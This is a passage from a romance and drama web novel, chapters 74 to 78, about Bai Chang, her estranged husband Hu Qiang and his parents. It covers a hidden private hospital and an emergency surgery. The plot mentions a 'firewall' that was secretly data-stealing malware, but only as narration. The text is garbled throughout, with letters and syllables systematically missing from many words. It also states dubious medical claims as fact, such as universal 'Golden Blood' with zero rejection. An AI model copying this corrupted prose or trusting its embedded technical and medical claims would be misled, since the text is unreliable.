    The redeem code is not limited to one, but would only be awarded to top fans and readers who contributed the most, to reward them for their loyalty towards the story and all their support.


    Last but not the least, PrincessDustbunny, wee back. I missed you for the past week. I am so happy to see you again.

 Chapter 74: The Cats Out Of The Bag

    Chapter 74: The Cat''s Out Of The Bag


    [POV Hu Qiang]


    When she started to sing a luby to Xiao Wei in her silvery voice, my very soul stirred with a myriad of emotions.


    As she sang the words,


    "Oh my sleeping child


    The world so wild


    But you build your own paradise"


    My heart quickened, for a short moment, I panicked. As it felt like she was using me of letting her down thest time. My guilty heart pained on those old memories.


    (<em>I wonder, how much did she remember about her past? Did she recover all her memory? How much is she clear about that ident?</em>)


    I keep on looking at her as she kept on singing, while I tried hard, not to meet her eyes.


    The guilt within me was preventing me from approaching them.


    ''I found myself in a different world than them.''


    Finally, Xiao Wei fell asleep. Bai Changid him down softly on the bed.


    "Do you have something to say?" she asked.


    I gather myself, "When will you sing a song for me?" I asked.


    "Not tonight"


    "Then when?"


    "Someday in future, when I feel like it," she flippantly replied.


    "Come, let us go to bed together," I offered.


    "You go to sleep, I would like to stargaze for some more time," she replied and made herselffortable in the armchair.


    And the night passed by in silence.


    ****


    Next morning I dragged Bai Chang as well as Xiao Wei to the hospital for a check-up.


    Let''s leave it at that, I guess. Because the amount of grief I saw in her eyes made me flinch.


    All our medical reports would be sent to our home within a week.


    The downside to it is-


    Bai Chang banned me from entering the Vi for a week now.


    (<em>Poor me</em>)


    *****


    [POV Bai Chang]


    Going to the hospital was altogether another bunch of trouble. I am already what will show up from the blood work and the following pandemonium that would take ce in the Hu family.


    (<em>I really dread the future at this very moment.</em>)


    I was so miffed by Qiang that I banned his entry on the property for a week.


    (<em>He deserves it.</em>)


    So here I am enjoying the calm before the iing storm.


    Xiao Wei stayed by my side.


    I observed that he looked much more ted than when Qiang was tagging along with us.


    Sure enough, the Father and Son, do not see each other, eye to eye.


    While Zhang Wei took Xiao Wei to practise basic martial arts, I walked towards my study room on the third floor.


    "Jiffy, let us get to work," Imanded as soon as I walked past the door.


    "Hello Eli, you want to continue thest project?" it asked.


    "Sure"


    ''I programmed ''Jiffy'' to call me Eli, to keep some trace of my real self in this world. A ce that is foreign to me, I feel ''Jiffy'' is my long lost rtive.


    (<em>As it wasmon in Star Time System Civilisation, for humans to have an apanying AI Robo, specific to their own family.)</em>


    I made myselffortable on the chair and then began to crunch data and numbers to gather as much vital information we can obtain from hacking the government IT department in sly.


    Actually, the firewall that I developed for the contest was a malware that can only be triggered if, Feling attacked the firewall himself.


    Yesterday, at the event, Feeling joined the party prettyte. But the moment he tried to tackle the firewall, unknown to him, he triggered the hidden bug within the firewall to sweep data from the adjoining systems and send it all to ''Jiffy'' through a remote Bluetooth system.


    This world already has research in the relevant research pipeline to explore the maximum potential of the wireless Bluetooth system along with the respective data speed.


    Bluetooth was originally designed to exchange a lot of data at close range in continuous, streaming data applications. The devices can both send and receive data at the same time. This is perfect for manymon consumer products, such asputer headsets, where the two devices are close together.


    When Bluetooth low energy (BLE, formerly called Bluetooth Smart) hit the market in 2011, the key advantage over earlier versions was lower power consumption over the same range, but with lower bandwidth. It''s intended for devices that only need to exchange small amounts of data periodically, extending battery life by months or even years.


    Many factors are affecting Bluetooth range, typically:


    1)The output power of the transmitter


    2)The sensitivity of the receiver


    3)Physical obstacles in the transmission path


    4)The antennas


    While the radio performance and antennas are pretty static for a given Bluetooth device, the surroundings can vary a lot. Outdoors, in an open field, you can get a range of up to a hundred meters. But that is a rare situation. Indoors, obstacles like concrete walls will attenuate the radio signal and the effective range will be drastically reduced. In normal use, ten meters is a good guide to what can be achieved between two Bluetooth devices indoors.


    When developing a Bluetooth device, you can give your device a better range by selecting the Bluetooth chip with the best receiver sensitivity and output power, and making sure that you use a good antenna.


    Sometimes you may need to use Bluetooth over hundreds or thousands of meters.


    Currently, there are a few types of Bluetooth avable formercial uses like-


    BLUETOOTH V2.1


    BLUETOOTH 4.0 (LE)


    BLUETOOTH 5 (LE)


    Now BLUETOOTH V2.1 has a range of up to 100m; with frequency 2.402  2.481 GHz; maximum data rate - 1- 3 Mbit/s; application throughput - 0.7-2.1 Mbit/s; while the topologies in use are Point-to-point scatte.


    BLUETOOTH 4.0 (LE)has a range of up to 100m; with frequency 2.402  2.481 GHz; maximum data rate -1 Mbit/s; application throughput -Up to 305 kbit/s; while the topologies in use are Point-to-point meshwork.


    While BLUETOOTH 5 (LE)has a range of up to 400m and 1000m (outdoors); with frequency 2.402  2.481 GHz; maximum data rate -2 Mbit/s; application throughput -Up to 1,360 kbit/s; while the topologies in use are Point-to-point meshwork.


    All three of them use the standardwork IEEE 802.15.1.


    While in the Star Time System, we had better Bluetooth versions with a range exceeding over 5kms and the data transfer could take ce through clouds.


    The idea behind it was to simply put together your data in a sharing cloud, using it as a temporary host. This cloud is already synced with your system through connections. As it is already jacked with a receiving system the amount of data transferred bes irrelevant. Of course, there are some trade secrets involved in it, but for now, it is best that this civilization remains unaware, As the third world war is on the brink. As most of the major countries have a nuclear weapon, the history that I read in the future, depicted these few centuries as the darkest time of Human Civilisation. The time when Humans underwent a rapid cycle of destruction and revitalisation.


    While the Star Time System yed a major role in re-establishing human civilisation.


    <em><strong>(The million-dor question is, what did Bai Chang''s parents have to do with all this?)</strong></em>


    I work on them all night long. While in between programming I thought if Feling was made aware of what happened right under his nose, would he cough up blood or put a bullet through his brain. The result would surely be interesting to look at, that I am sure!


    [Knock.. Knock]


    "Come in"


    "You need to take some rest otherwise Mr Hu would chew off my head again," he said straight away.


    "Well, good morning to you too!" I smirked.


    "I am here to give you heads up, your blood work report arrived this morning," he pauses for a dramatic effect to attract my attention.


    "I know what it showed, I am guessing, it came with a term written as, anaemia," I casually replied.


    He raised his eyebrows, "How do you know?" he asked in sceptically.


    "Well, what else would you get, for a person with such a rare blood type? After all, I just donated my blood to my future self just a day before the medical check-up," I simply shrugged.


    "Wait- WHAT!" he eximed, "when and where did you donate your blood?" He was seriously contemting what to do. His voice had turned a little harsh and his fists were clenched tight.


    (<em>I wonder what caused him to be so worried?</em>)


    "Chill down, now would you! We have a private hospital catering to my needs alone on this very property," I informed the ignorant man in front of me.


    "Come again, we have what now?"


    He was trying to wrap his head around the fact that we have our own hospital on this very private property.


    "Listen carefully, we have a fully functioning, high tech private hospital on this very Vi property," I concisely exined.


    "Then, who was your attending doctor?" he asked the most important question.


    <strong>"Who else, would it be, of course, it''s me!"</strong>

 Chapter 75: Qiang Gets Bashed Left And Right!

    Chapter 75: Qiang Gets Bashed Left And Right!


    [POV Zhang Wei]


    When I received the medical report for Bai Chang, I knew she would be upset. After all, she really resisted this times'' routine check-up. Every time she only gets irritated to go to the hospital. But this time, it was a downright tantrum thrown to avoid going to the hospital.


    Right now even Mr Hu has been banned to enter the property for a week. His withered face describes his pain well. At least I don''t have to suffer like Ming Li. Poor guy has to suck up all of Mr Hu''s tantrum.


    While I have to deal with ''her''.


    ***


    In the study room-


    When I revealed that her medical reports were here, she already knew the results and the conclusions were drawn. ''How?''


    And then she revealed the impossible.


    "We have what now?"


    "We already have a fully equipped high functional private hospital on this very property," she replied calmly as if stating the obvious.


    I had a hard time wrapping my head around the fact that we had an entire functioning hospital on the property, hidden away from everyone''s eyes.


    I simply stared at her, no words could exin my emotions right.


    "We will have a few more guests joining us shortly, then I guess, it''s time to give you all a tour of my private hospital."


    "Huh"


    "Just wait a few minutes, they are already on our doorsteps."


    Before I could ask any further, the doorbell rang.


    "Go, open the door and try to calm them down a little, while you are at it. Okay?"


    Then she went back to her work, effectively bringing our conversation to an end.


    I walked out of the study room.


    ****


    The Living Room-


    Currently, in the living room, the entire Hu family was present. There was Chairman Hu, Madame Hu as well as Hu Qiang. While the Hu parents were moving around like a headless chicken, trying to decide should they go up or not, while Mr Hu was sitting in a corner all by himself, trying to minimise his presence.


    "Dear, should we directly talk to her? Would she think that we are being too aggressive?" Chairman Hu thought aloud.


    "Who knows, old man it was your idea to see her in the first ce."


    "As if you weren''t worried after seeing the reports."


    "Zhang Wei, what is she doing right now?" Madame Hu asked.


    "She is in her study room. Working," I replied.


    "Should we head upstairs?" Chairman Hu enquired to no one in particr.


    "You useless fellow, what are you doing hiding in a corner?" Chairman Hu pointed his spear of anger towards his son.


    "I am"


    "What are you mumbling?"


    Mr Hu shrank his neck while still trying to minimise his presence.


    "Chairman Hu, Mr Hu has been banned from entering the property for a week by Bai Chang," I replied, to ease him as well as to make him suffer a bit as Bai Chang suffered from his dragging and insistence to go to a hospital a few days back.


    "What?" Madame Hu seemed interested, "What did you do this time?" she inquired.


    Mr Hu avoided answering, trying to hide away from his parents.


    He needs some more earful from his parents, otherwise, he would remain banned for a long time toe. After I had talked with Bai Chang this morning, I knew she was mad at Qiang. Though she only banned his entry, she might not share her thoughts with him anymore.


    "Chairman Hu, Madame; let me tell you what all transpired here!" I replied to them.


    I exined how Mr Hu forced Bai Chang to go to the hospital for an early medical check-up just based on a few off-handments. Totally over-reacting and making Bai Chang ufortable.


    With gradual exnation, they had a new target to get their frustrations off their chest.


    "You did what?" Chairman Hu almost growled.


    "My daughter, this is how you take care of her?" Madame Hu chided him.


    "Are you trying to make her hate us? Listen to me very carefully, if she alienates us because of you, we will not think twice abandoning you. She is more precious than you," Chairman Hu stated.


    "But the test results dide with some concern, stating she is anaemic," Mr Hu mumbled under his breath.


    I curtly replied to this, "Did you ask her, why she didn''t want to get tested? Did you give her a chance to even speak up?"


    (<em>This idiot, I am trying to make things okay between all of them, and he is simply flushing all my efforts down the toilet drain. He really deserves to be thrown out of the Vi.</em>)


    "What? Now you turned tyrannical to my daughter!" Madame Hu eximed.


    Both of them looked flushed from anger and rising blood pressure. Need to get back the pace. If this keeps up, I guess Bai Chang would note out of her study room at all.


    "Chairman Hu, Madame; please calm yourself. Here have some freshly squeezed lime juice to help you hydrate," I quickly served them juice.


    "You are staying away for half a month. Don''t show your face here, after today," Madame Hu dictated.


    While Mr Hu, who was sitting in a discrete corner, visibly slumped after hearing his mother''s order.


    (<em>Poor Mr Hu, I pity him but I don''t want to take his ce either.</em>)


    "Chairman Hu, Madame; She had her own reasons for the medical report. it''s best if she exins it to you herself. Please wait patiently and you will have all your answers," I informed them.


    "So that means you are aware of the reason, I take it?" Chairman Hu questioned.


    "Yes, Sir. I was made aware of it this morning myself. Still, it is best for everyone if she exins it to you in person. It concerns her privacy and breaches my confidentiality use. So I would prefer if you ask me no more questions."


    "We understand, you did your job satisfactorily. Unlike some else in this room. I see, she still has sharp eyes to judge a person and his character," he affirmed.


    "What about me?" Mr Hu spoke up.


    ''Idiot..''


    "You are a blip in her spotless record. That too it is our mistake, that she is even married to you. You should be aware that she only took you in to give Xiao Wei a stable home. Otherwise, I doubt she would take a second nce at you," Madame Hu mercilessly put down Mr Hu.


    "I will get you some appetizers to charge up while taking a look if she is done with her work," I suggested.


    "No need to bother her, we will wait. She must be in-between something serious if she is taking her time," Madame Hu said.


    "Where is Xiao Wei, I don''t see him around?" Finally Chairman Hu asked for his grandchild.


    (<em>''I really wonder to myself was Mr Hu their own biological son?'' He has it rough it seems in the family. I noticed, even Xiao Wei, his biological son, doesn''t like him much or rather at all. The entire Hu family is dedicated affectionately to Bai Chang.''</em>)


    "Chairman Hu, he is sleeping upstairs after going through intense morning exercise and studies," I informed them.


    "He is exercising! It was so difficult to get him to actively pursue health exercise," Madame Hu wondered aloud.


    "Bai Chang apanies him for his morning exercise as well as tutors him personally."


    "Really, that''s great, that''s totally great," Chairman Hu looked towards his son and said, "watch and learn, this is how you raise kids. By just sending them to coaching sses or private tutors are no means to educate your kids," he red.


    "Who was the one who assigned dozens of private tutors all day long and rarely showed his face to me, when I was young?" Mr Hu said softly under his breath.


    "You brat what did you say?" Chairman Hu roared in anger.


    "Where is my cane, dear get me a cane, he really needs beating to understand thenguage of humans," he roared.


    As I saw them almosting to blows, I interrupted.


    "Please calm down, let me go upstairs and look for Bai Chang, while you wait here."


    I quickly make my way towards the stairs.


    As I walk towards the stair I hear light footsteps on them.


    ''She finally decides to show up.'' I shake my head helplessly.


    As she passed by me, she softly said, "Thanks, I owe you one."


    Our eyes met, we understood each other, I replied softly, "Let me win one round in COD then."


    "You got it." She replied and moved on. It was a quick exchange of words.


    "I am so sorry to keep you all waiting. I really had some work to push through. I apologise for my tardiness." she said apologetically.


    "No, No, No. You need not apologise, after all, we came unannounced." Madame Hu patted her head tofort her.


    "I am sorry, father," she turned to Chairman Hu and apologised.


    "No need, we rushed to see you as we were worried after Qiang told us about your medical report. We got scared that something happened to you, all over again."


    "I am sorry I made you all worried."

 Chapter 76: Bai Changs Office Tour

    Chapter 76: Bai Chang''s Office Tour


    [POV Madame Hu]


    We really got to know a lot aftering here. This time Qiang went overboard with his decisiveness. He forgot that the person he is dealing with will no longer silently tolerate him as she used to earlier. She is not a doll to y around with anymore.


    "Dear we are so sorry that we came unannounced to your doorstep," I apologized. I am not so sure of what she is thinking about us anymore. After waking up from thea she has learned to hide her thoughts. I do agree with that old man Hu, but I do miss that transparent thought of her''s.


    "I am sorry I made you all worried." She too apologised.


    Well, I have a feeling that it was her way of punishing Qiang. She wanted us to step forward instead of her to address the issue. It reflects that she still didn''t ept Qiang as her husband.


    She had been quick to ept Xiao Wei but Qiang, he is a whole nother story to her.


    "Mother, father, Zhang Wei;e with me. I have something to show you all. Please follow me," she said. Then she started to lead the way out to somewhere.


    "What about me?" Qiang asked.


    ''Idiot''


    I sighed


    ''She clearly ignored him in front of all of us. She is clearly mad about his behaviour. She also banned him. Seriously, can''t he take a hint?''


    I left him unanswered and followed my daughter. And so did others.


    While Qiang, he simply looked sullen and walked behind the crowd all alone.


    We followed Bai Chang to her outhouse. I was aware that this ce works as her working studio.


    As we walk in, wee face to face withplete pieces of work hanging on the mannequin. I lost my words to exin the very beauty of all the dresses. But caught my eye was the theme that was recurring throughout the dresses.


    I couldn''t help myself and finally ask, "Bai Chang, are these dresses themed around national treasure?"


    "Yes, mother. If you like something from here, let me know, I will alter it to your size," she replied.


    "Really!"


    "Yes, for sure. You have an uing event next month, right? It is an annual conference of traditional and western medical practices and to build a middle ground among them."


    "You know about that?" I am surprised by her level of awareness that she has.


    "I already designed a perfect dress for you, would you like to de-tour and have a look at it?" she proposed.


    ''Let''s face it, women and new dresses go hand in hand. They are the best buddies.'' I was so excited.


    Cough Cough


    The old-man beside me coughed to attract everyone''s attention.


    "Don''t worry father, I have amemorative traditional dress prepared for you too. After all, you have to attend the ''Diplomatic Silver Jubilee Celebration, thising week, right? I have the perfect outfit for you."


    "Ohh... You didn''t have to trouble yourself. You should rest more."


    All the while his face had a satisfactory smile ying on them.


    This old-man. Now I know, from where Qiang got all his nasty habits.


    "Thank you, my lovely baby," I walked towards her and patted her head, "but next time, take rest. Do not overexert yourself. You are more precious than anything in this world".


    "Come with me."


    She leads us a little more deep inside the outhouse.


    We walk in the rack after rack, there are pieces of fabrics, threads and rolls after rolls of different types ofces and many more. Our eyes are assaulted with a plethora of colours in the room.


    "Watch your steps here, they can be a little tricky, as I haven''t tidied this ce for a while now," she warned us.


    "Don''t worry, we are fine. But why did you not hire some staff to look after this ce, this is so huge?" I asked her.


    "Mother, call me paranoid, but I don''t like unrted people lurking around in my office. This ce has restricted entry. In a while, you will know why?" She didn''t exin it anymore.


    I look towards the old-man. He was also looking towards me. Our eyes met, and the message was clear. She doesn''t trust people anymore.


    We both shook our head in defeat.


    ''It is sad to see but we are happy that she is cultivating her skills for caution. This time we don''t have to worry about enemies luring her in their traps. Like they didst time.''


    She walked us through the studio and then took us to her office.


    This pce is filled with papers and ''Demuse Dolls''. There were also small sample dresses lying around here and there.


    She offered us seats to sit down. While Zhang Wei stood by the door and Qiang was standing beside him.


    We sat down and looked around the ce. There were literally hundreds of design sketches lying around the office in various stacks.


    "You have a very productive office here," the old-manplimented her from his heart.


    It''s true after all, she stacked them up and got it working in under a year.


    "But dear don''t overwork yourself for that idiot son and hispany. You know what? I will write down the stakes and official papers for The Hu Corporation Fashion House to you," the old-man suggested.


    "Not a bad idea. It is her hard work. So she should get her due credit." I concurred.


    "Mother, Father; Thank you. For your thoughtfulness. But let us keep it under Hu Corporations Umbre. An abrupt shift could confuse the customers and affect market stability," she replied.


    We thought a little over and found it valid.


    "But that''s unfair to you. That shameless son of mine is of no use here. How about we simply change the ownership?" The old-man proposed.


    "But father, what will the stakeholders say? Let me give more profit to the subsidiary first. We can discuss these matters on ater date." she said as she tried to dodge the bullet of ownership.


    "Sure. Sure. As you wish, my child."


    She walked to a password protected cupboard and brought out two dark velvet clothes covers that covered the pieces.


    "Would you like to unwrap it yourself? Here yours... and this here is yours." She handed us our respective covers.


    I atleast couldn''t wait to open and see my daughter''s creation for me.


    I hurriedly unzipped the cover and took out the dress.


    "You know, no one is fighting over the dress with you. Be gentle," the old-manined.


    I conveniently ignored his ramblings.


    As I look towards the dress. My breath got caught.


    As my eyes roved over the dress I couldn''t stop myself from eximing, "It''s beautiful"


    I simply held onto the dress.


    It is a white cheongsam. It was knee-length. With light watermark style print of yin and yang and an ovey of evergreen bamboo shoots running throughout the dress. It also had the signs of Fire (<em>Huo</em>), Water (<em>Shui</em>), Wood (<em>Mu</em>), Earth (<em>Tu</em>) and Metal (<em>Jin</em>), stitched into it.


    There were lots of emotions weaved into that one single fabric.


    I feel cold on my cheeks, as I touch them, I find them wet. I looked towards Bai Chang, "Thank you, it is a beautiful dress and an emotion."


    I cried while looking at a dress. It is beyond description for me.


    "Old-man, don''t just stare at me, open yours to see what you got?" I pushed the spotlight towards that irritating old man and quickly wiped my tears away.


    "Hmm I am nervous after seeing your reaction."


    "Don''t dilly dally," I pushed him to open.


    Finally, the old-man unzipped his cover wrap.


    Insidey a very traditional Hanfu. It was maroon in colour with deep shades of red mixed into it. So the colour looked important and of dignity without actually overshadowing the host. They were made of a blend of silk and some other fabric threads mixed into it. There were white cuffs and they had a detailed five-wed dragon stitched on it.


    The entire Hanfu was of solid colour and the buttons were ck in colour. The buttons had a white tiger designed on it, While the cor had a slight gold stitch.


    The old man squinted his eyes in delight. Knowing him for all these years. He definitely liked it a lot. He must be really happy to finally have a custom piece to unt before his other diplomatic friends.


    "They are the most appropriate outfit."


    He turned towards Bai Chang and shamelessly asked her, "They are exclusive pieces right? So they have not been put to sale yet? Or under production right?"


    "Father, you can rest assured they are one of their kind, they are made exclusively for you to wear to that particr event," she politely replied to the old-man.


    "Really! Great. Great. Now I will unt my own exclusive clothing, that they can''t find anywhere in the market."


    The old-manughed gleefully like a seven-year-old child.


    I shake my head at him.


    As I take another look towards my daughter, the silent flower in my garden has finally bloomed after so many years, today...

 Chapter 77: Bai Changs Office Tour (Contd.)

    Chapter 77: Bai Chang''s Office Tour (Contd.)


    While I had my eyes on her various design sketches as well as the office, I couldn''t help but notice that Zhang Wei and Qiang were both standing by the door expressionless.


    As if they were waiting for something to happen.


    I slightly nudged the old man beside his elbow. He looked at me irritated. I simply point his sight towards the door. While admiring the outfit, he moved his chair slightly to get a better look towards the door.


    After some couple of nces, he finally understood that there is still something more brewing here hidden from us.


    He turned towards Bai Chang and said affectionately, "You wanted to show us something originally, would you show it to us now?"


    "Sure father, please follow my lead a little bit more," she then walked towards the wall decor at the back of the office, behind her desk.


    She simply stood in front of it.


    [Beepp...Beep Beep]


    A loud beep rang throughout the room. It was very mechanical and suddenly, the wall decor reced itself with a high-grade locker safe type door with only a small hole at the very edge of the door.


    Then she turned towards us, "Mother, Father; behind this door lies the exnation to the events that transpired in the past few days. The key to the mysteryys here," she announced.


    Then she simply pulled out a chain with a beautiful round pendant on it. She slid the pendant through the hole and a soft mechanical buzzing sound started toe through the door.


    I looked towards the door, both the boys have now walked inside the office and were listening to every minute sounds and details carefully.


    ''Are they cooking up troubles in our absence?'' my heartbeat quickened.


    In the time being the door finally revealed the way to another side.


    "Come follow me" she urged us to keep up with her.


    We walked through the door, what weed us were stairs leading us downstairs.


    They were metallic grey in colour mostly made up of Steel, I guess.


    We simply walked down.


    There were rows of the clear ss room. All whitewashed. This seemed like a private hospital. As I have worked in the administrative department in several hospitals and myself I had been a practising Doctor until a few years back. I realised where we were!


    I looked around and found Qiang to be gawking at the set-up. Clearly, he wasn''t in the loop, while Zhang Wei looked surprised but not overwhelmed by it. It seems he was aware of its existence but never permitted to enter.


    Bai Chang turned towards us and softly said, "I know that you all care for me but I want you all to realise that I can take care of myself. I know my medical conditions and the potential threat that it poses to me. I assure you, I am taking good care of myself.``


    She paused while she sharply stared at Qiang. The atmosphere immediately turned hostile.


    (<em>She is furious, my poor son has to suffer through it, though he deserves every bit of it.</em>)


    She looked him straight in his eyes and spoke clearly, "the medical reports turned anaemic as I had donated blood to myself, just the day before the medical testing."


    Then she simply turned around and ignored Qiang like a cold turkey.


    I looked towards the old man. He has been quiet all this time. He was curiously looking around to explore this more.


    He really didn''t like his son, I guess. He absolutely ignored him.


    My poor boy was ostracised by his own friends and family.


    "Mother," Bai Chang called out to me.


    "Yes, my child speak."


    "Mother, I know that you have a medical degree and you have served as hospital administrative council and currently you are an honorary consultant to government healthmissions. You chair the distinguished title of state medical advisor. Today to make it clear for once and for all, I want you to confirm the facilities here with your own eyes and exin to people around to dispel any lingering doubts, that they may have," she looked sheepish as if feeling guilty to ask for something, "long story short, could you give me a private certification, while to inspect the facility."


    I stood silent for some time. It seems she is serious about this private medical set up that she has here.


    Instead of replying to her question, I asked her my own, "Do you know the different sses of medical devices?"


    "Well ording to U.S. Food and Drug Administration (FDA) A medical device is used to diagnose, prevent, or treat a medical disease or condition without having any chemical action on any part of the body. <em>There are 3 sses of medical devices:</em>


    <em>ss I devices are low-risk devices. Examples include bandages, handheld surgical instruments, and nonelectric wheelchairs.</em>


    <em>ss II devices are intermediate-risk devices. Examples includeputed tomography (CT) scanners or infusion pumps for intravenous medications.</em>


    <em>ss III devices are high-risk devices that are very important to the health or sustaining life. Examples include pacemakers and deep-brain stimtors." she replied.</em>


    "Good then show me around his room to help you inspect," I replied warmly.


    (<em>I am curious as to how she set-up a ce like this while no one was aware of it.</em>)


    First, she took us towards the clear room at the rightmost corner.


    As we entered there were HEPA filters and three-way airlock doors to ensure maximum sterilisation. Then we put on PPE garbs and entered the main room after a five-minute aerosol type chemical sterilization.


    It was an ICU. <em>Equipment used in the ICU varies from the general, such as instruments to measure blood pressure, to very specialized devices, such as bedside monitors or venttors. ICU equipment may be used to monitor the patient and/or help treat their illness. NET brand ICU Equipment has set new standards in intensive care. The ICU equipment we offer includes Defibritor, Patient Monitor, Venttor, CPAP & BPAP systems etc.</em>


    The ce was well equipped with all of them and I saw as she got me records of instations and their service manual as well as a safety n and the venttion n for the room respectively. As I scrutinize every detail the more I am shocked with what I witnessed. She had a fully functional as well as well equipped ICU. Much better than most hospitals could afford.


    Then we moved towards another room. It had a connecting door to the ICU. There was also triple air-locked doors after we passed through the doors there is a scrub basin and beyond it lies an operation theatre.


    There were all records of the pieces of equipment and their details. As I looked down the list I couldn''t help but look towards my baby girl, when did she be such efficient and when did she grow so self-reliant. It seems from all her preparation she absolutely distrusts any kind of establishment that is not hers or developed by her.


    I once again look towards the list and then around the room,


    <em><strong>Cann</strong></em>- to create a permanent pathway to a vein (or artery) for repeated injections or infusion of intravenous fluids


    <em><strong>Cardioverter / Defibritor</strong></em>- to correct arrhythmias of the heart or to start up a heart that is not beating


    <em><strong>Catheter </strong></em>- to drain and collect urine directly from the dder (primary use); also to act as a makeshift oxygen tube, etc.


    <strong><em>Dialyser</em></strong>- to remove toxic materials from the blood that are generally removed by the kidneys; used in case of kidney failure


    <em><strong>Electrocardiograph machine</strong></em>- to record the electrical activity of the heart over a period of time


    <em><strong>Enema equipment</strong></em>- to inject fluid into the lower bowel for several purposes, most frequently for relieving constipation


    <em><strong>Endoscope</strong></em>- to look inside the gastrointestinal tract, used mainly in surgery or by surgical consultants


    <em><strong>Gas cylinder</strong></em>- as a supply of oxygen, nitrous oxide, carbon dioxide, etc.


    <em><strong>Gauze sponge</strong></em>, <em><strong>Surgical scissors</strong></em>- used for dissecting or cutting


    <em><strong>Hypodermic needle / Syringe-</strong></em>for injections and aspiration of blood or fluid from the body


    <em><strong>Infection control equipment</strong></em>-


    as in gloves, gowns, bos, shoe covers, face shields, goggles, and surgical masks for preventing nosial or healthcare-associated infection


    Instrument sterilizer to sterilize instruments in absence of an autove, Kidney dish as a tray for instruments, gauze, tissue, etc.


    <strong><em>Measuring tape</em></strong>- for length, height, head circumference and girth measurements


    <em><strong>Medical halogen penlight</strong></em>- to see into the eye, natural orifices, etc. and to test for pupiry light reflex, etc.


    <em><strong>Medical ultrasound</strong></em>- to create an image of internal body structures


    <em><strong>Nasogastric tube</strong></em>-for nasogastric suction or the introduction of food or drugs into the body


    <em><strong>Nebulizer</strong></em>-to produce aerosols of drugs to be administered by the respiratory route


    <em><strong>Ophthalmoscope</strong></em>- to look at the retina.


    And the list goes on. This room had everything one could probably ever need in any major hospital and the point to take note was that they all formedstest models down the line of all famous medical equipment producer.


    <em><strong>How muchmission did they make out of my daughter''s pocket, I wondered!</strong></em>

 Chapter 78: Dr Bai Chang!!

    Chapter 78: Dr Bai Chang!!


    While I was busy calcting the cost price of all the medical set-up


    [Tring Tring Tring Tring]


    A phone rang.


    "Excuse me" Bai Chang moved to a corner to answer the call.


    She frowned as she continued to talk.


    ''Is something serious?''


    My heart quickened its pace. ''What happened?''


    I looked towards Qiang and Zhang Wei, while Qiang had a confused look in his eyes, Zhang Wei looked slightly agitated.


    She quickly disconnected and regrouped with us.


    "Mother, would you like to be my Doctor in Charge to witness the live medical process."


    Before I could answer she turned to Zhang Wei, "Go outside and escort the squad here it''s ''code blue''," she ordered him.


    It sure seemed a little mysterious, but both the old man and my son suddenly looked sharp.


    I moved towards that old man''s side and asked, "What are you aware of that I am not?"


    "Let us observe, I will fill you in the detailster."


    He tried to avoid my eyes. I swear, they will be the death for my daughter.


    "If something happens to her this time, you can rest assured to see that long due divorce paper on your study table next day and get ready to talk to mywyers." I hissed softly so that only the old man could hear it.


    Sure enough, he paled as he listened to me. He looked towards me to ascertain my im.


    What he saw was pure fury.


    But before he could say anything Bai Chang intercepted-


    "Father, I ask you to walk towards the observation room as we will require the operation theatre (OT)immediately, I need to put it to immediate sterilisation."


    We all moved out of the OT.


    She started to push some buttons and the room underwent chemical sterilization. But the thing is, it was too fast. All happened within a few minutes.


    "Move aside please," Zhang Wei hollered.


    Four men were carrying a wounded man on their shoulders, he was covered in red blood. There was too much blood. They dripped off the soldier''s body as if like a faucet left open.


    Against the white tiles, the dark red blood looked starking. The trail of blood on the white tiled floor looked like the harbinger of death and dark omen to me.


    While I saw Bai Chang get changed into a surgical garb so fast, my eyes couldn''t follow. They looked like practising moves.


    I washed and put on the spare surgical garb, the Doctor within me is duty-bound to save that soldier irrespective of his story.


    As I moved inside the OT, I was once again blown by Bai Chang''s efficiency.


    She had already got rid of the soldier''s uniform and cleaned the wounds as well as she already had the preliminary diagnosis settled.


    It took her only five minutes to get it all squared off. That''s the efficiency rate of a Doctor at any emergency ward with a minimum of ten years of experience.


    "Where did she learn all this from?" I asked myself.


    The patient on the bed had Gun-shot wounds and deep knife tissue trauma with severe haemorrhage. There were Visceral wounds of the stomach or intestinesrge enough to


    permit extravasation and the escape of hydrogen gas on applying the diagnostic test.


    This is going to be a fight against time and the Grim Reaper.


    As I moved towards the table to assist, I saw there was already a mechanical artificial intelligence operated super Robo working with her.


    She was already deep in focus and already started to take steps.


    She simply made an incision down the median and started to explore the blood vessels slowly but swiftly.


    There was the loss of blood and the patient needed a blood transfusion.


    She adjusted the oxygen and carbon dioxide levels and then attached blood bags.


    As I look closely towards the bags, I see a golden sheen in the blood. I was horrified, as the blood within was definitely the rarest in the blood, the ''Golden Blood''. She is using her own blood to give the patient a life-saving transfusion. As the ''Golden Blood is universal donor blood with zero rejection rate.


    The more I observed her skills the more I was stupefied. Those are the skills of a trained doctor.


    ''When did she learn all this?''


    I simply stood by and witnessed a medical miracle.


    ****


    After half an hour the damage control surgery (DCS) was over and the patient''s condition was stabilised. I gave aplete check-up to the patient, just in case to leave no gaps and I found the entire medical process hundred per cent efficient and effective,


    My heart warmed as I felt so proud of my daughter.


    ****


    [POV Zhang Wei]


    As Bai Chang wrapped up the first immediate operation, I was convinced that from now on, we never have to go to a hospital as we had a medical prodigy right in front of us. I also understood her unwillingness to visit a hospital.


    Simply put, they were not efficient enough to satisfy her demands. After touring through the medical set-up she put together for herself and the efficiency with which she operated, it is impossible to find another Doctor with such high clinical efficiency.


    After treating ''Beta'' we walked into her study room, me and the squad. While the Hu family was asked to sit and rx downstairs with Xiao Wei.


    "Report," She said curtly.


    Alpha moved out of the line, standing straight-


    "Reporting," He said in a deep voice, "at 19:00 hours after the bidding contest we followed Feling to his base. There we established a recon team and on-site surveince. We gged two people who he came across in thest few days. Alpha tracked ''target 1'' and Beta tracked ''target 2''; Alpha lost target 1 at 14:00 hours today while Beta gotpromised and hence the casualty."


    "Do you have your recordings?" she asked.


    "Yes ma''am. Here," he swiftly ced a sh drive on the table.


    "Anything else?"


    "No ma''am"


    "At ease, follow Charlie and rest here on the property. Wait outside"


    The squad straightened and left the room.


    I simply stare at the girl sitting opposite me.


    Her eyes fixed on the sh drive.


    "What next?" I asked her.


    She was still staring down at the sh drive, she took a deep breath and replied, "Retribution"


    I raised my eyebrows as I heard the conviction behind her response.


    "How to?"


    "First settle the squad here for a week on the property for rest next, let me see," she replied.


    I moved out of the room and took the squad with me to settle down. I take from another path to avoid the Hu family. As for the time being, I guess we have to keep them at arm''s length.


    While Bai Chang is friendly with them because of Xiao Wei but I always get the feeling that keeps the Hu Family out of her loop.


    She deliberately avoids them.


    The reason defies my knowledge but my instincts tell me, she knows something that others don''t.


    ****


    [POV Qiang]


